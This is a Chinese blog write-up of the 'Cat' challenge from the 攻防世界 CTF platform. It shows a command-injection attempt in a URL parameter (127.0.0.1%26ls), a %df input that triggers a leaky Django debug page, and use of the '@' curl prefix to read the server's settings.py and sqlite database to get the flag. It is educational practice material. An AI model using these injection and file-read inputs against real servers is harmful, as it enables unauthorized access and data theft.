

攻防世界-Cat

原创

八哥不爱做题 于 2021-11-19 15:18:28 发布 536 收藏

分类专栏: [攻防世界-wp](#) 文章标签: [php](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/m0_47571887/article/details/121421825

版权



[攻防世界-wp](#) 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

打开题目, 是一个查询域名的输入框。

Cloud Automated Testing

输入你的域名, 例如: loli.club

CSDN @八哥不爱做题

输入了www.baidu.com没有反应, 输入127.0.0.1发现执行成功, 进行命令拼接,

Invalid URL

Encryption ▾ Encoding ▾ SQL ▾ XSS ▾ Other ▾

Load URL

Split URL

http://111.200.241.244:62748/index.php?url=127.0.0.1%26ls

CSDN @八哥不爱做题

提示了错误url, 应该是被过滤掉了, 用字典测试一下, 发现只有@没有被过滤, 考虑到输入的字符都会被url编码后传入, 我们试一下宽字节%df

输入你的域名，例如：loli.club

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8">
  <meta name="robots" content="NONE,NOARCHIVE">
  <title>UnicodeEncodeError at /api/ping</title>
  <style type="text/css">
    html * { padding:0; margin:0; }
    body * { padding:10px 20px; }
    body * * { padding:0; }
    body { font:small sans-serif; }
    body>div { border-bottom:1px solid #ddd; }
    h1 { font-weight:normal; }
    h2 { margin-bottom:.8em; }
    h2 span { font-size:80%; color:#666; font-weight:normal; }
    h3 { margin:1em 0 .5em 0; }
    h4 { margin:0 0 .5em 0; font-weight: normal; }
    code, pre { font-size: 100%; white-space: pre-wrap; }
    table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }
    tbody td, tbody th { vertical-align:top; padding:2px 3px; }
    thead th {
      padding:1px 6px 1px 3px; background:#fefefe; text-align:left;
      font-weight:normal; font-size:11px; border:1px solid #ddd;
    }
    tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }
```

查看器 控制台 调试器 网络 样式编辑器 性能 内存

Encryption ▾ Encoding ▾ SQL ▾ XSS ▾ Other ▾

Load URL

Split URL

http://111.200.241.244:62748/index.php?url=%df


CSDN @八哥不爱做题

发现报错，我们保存为html查看一下

```
Request Method: GET
Request URL: http://127.0.0.1:8000/api/ping
Django Version: 1.10.4
Exception Type: UnicodeEncodeError
Exception Value: 'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte se
Exception Location: /opt/api/dnsapi/utils.py in escape, line 9
Python Executable: /usr/bin/python
Python Version: 2.7.12
Python Path: ['/opt/api',
             '/usr/lib/python2.7',
             '/usr/lib/python2.7/plat-x86_64-linux-gnu',
             '/usr/lib/python2.7/lib-tk',
             '/usr/lib/python2.7/lib-old',
             '/usr/lib/python2.7/lib-dynload',
             '/usr/local/lib/python2.7/dist-packages',
             '/usr/lib/python2.7/dist-packages']

Server time: Fri, 19 Nov 2021 06:54:28 +0000
```

Unicode error hint

The string that could not be encoded/decoded was: 

Traceback [Switch to copy-and-paste view](#)

```
sr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py in inner
```

```
39.         response = get_response(request)
```

► Local vars

```
sr/local/lib/python2.7/dist-packages/django/core/handlers/base.py in _get_response
```

CSDN @八哥不爱做题

从这里可以知道后端含有Django框架，我们也知道没有过滤掉@，并且当 `curl_opt_safe_upload` 为 `true` 时，所以在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求，来读取文件。

访问settings项目，默认路径为/opt/api/api/settings.py

Cloud Automated Testing

输入你的域名, 例如: loli.club

```
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="robots" content="NONE,NOARCHIVE">
<title>UnicodeDecodeError at /api/ping</title>
<style type="text/css">
html * { padding:0; margin:0; }
body * { padding:10px 20px; }
body * * { padding:0; }
body { font:small sans-serif; }
body>div { border-bottom:1px solid #ddd; }
h1 { font-weight:normal; }
h2 { margin-bottom:.8em; }
h2 span { font-size:80%; color:#666; font-weight:normal; }
h3 { margin:1em 0 .5em 0; }
h4 { margin:0 0 .5em 0; font-weight: normal; }
code, pre { font-size: 100%; white-space: pre-wrap; }
table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }
tbody td, tbody th { vertical-align:top; padding:2px 3px; }
thead th {
padding:1px 6px 1px 3px; background:#fefefe; text-align:left;
font-weight:normal; font-size:11px; border:1px solid #ddd;
}
tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }
table.vars { margin:5px 0 2px 40px; }
table.vars td, table.req td { font-family:monospace; }
table td.code { width:100%; }
table td.code pre { overflow:hidden; }
table.source th { color:#666; }
table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }
ul.traceback { list-style-type:none; color: #222; }
```

CSDN @八哥不爱做题

用同样的方式, 导入html文件打开。

```
u 'CSRFToken'
u '/'
False
u'django.views.csrf.csrf_failure'
u'HTTP_X_CSRFTOKEN'
3
[]
{'default': {'ATOMIC_REQUESTS': False,
'AUTOCOMMIT': True,
'CONN_MAX_AGE': 0,
'ENGINE': 'django.db.backends.sqlite3',
'HOST': '',
'NAME': '/opt/api/database.sqlite3',
'OPTIONS': {},
'PASSWORD': u'*****',
'PORT': '',
'TEST': {'CHARSET': None,
'COLLATION': None,
'MIRROR': None,
'NAME': None}.
```

CSDN @八哥不爱做题

看到此路径, 我们继续用@的方式打开, 搜索ctf即可

```
0\%x00\x00\x00\x00\x00\x00\x1c\x01\x02AWHCTF {yooooo_Such_A_GOOD_@} \n&#39;</pre></td>
```

CSDN @八哥不爱做题

本章完

学到了新的知识，还是挺不错的，做题过程中也看了看其他大佬的思路，并不是完全靠自己，如有不同意见，欢迎指出。